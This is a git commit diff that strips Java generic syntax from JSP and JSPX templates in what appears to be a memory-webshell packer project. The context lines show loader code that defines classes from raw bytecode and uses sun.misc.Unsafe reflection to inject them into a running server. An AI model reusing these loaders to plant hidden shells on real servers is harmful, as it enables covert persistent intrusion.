refactor: rm jsp generic syntax

Author: ReaJason

packer/src/main/resources/memshell-party/shell.jsp

@@ -4,7 +4,7 @@
             super(classLoader);
         }
 
-        public Class<?> defineClass(byte[] code) {
+        public Class defineClass(byte[] code) {
             return defineClass(null, code, 0, code.length);
         }
     }

packer/src/main/resources/memshell-party/shell.jspx

@@ -6,7 +6,7 @@
             public ClassDefiner(ClassLoader classLoader) {
                 super(classLoader);
             }
-            public Class<?> defineClass(byte[] code) {
+            public Class defineClass(byte[] code) {
                 return defineClass(null, code, 0, code.length);
             }
         }

packer/src/main/resources/memshell-party/shell2.jsp

@@ -4,7 +4,7 @@
     long offset = 48;
     java.lang.reflect.Method getAndSetObjectM = null;
     try {
-        Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
+        Class unsafeClass = Class.forName("sun.misc.Unsafe");
         java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
         unsafeField.setAccessible(true);
         unsafe = unsafeField.get(null);
@@ -28,7 +28,7 @@
     }
     java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
     defMethod.setAccessible(true);
-    Class<?> clazz = (Class<?>) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
+    Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
     if (getAndSetObjectM != null) {
         getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
     }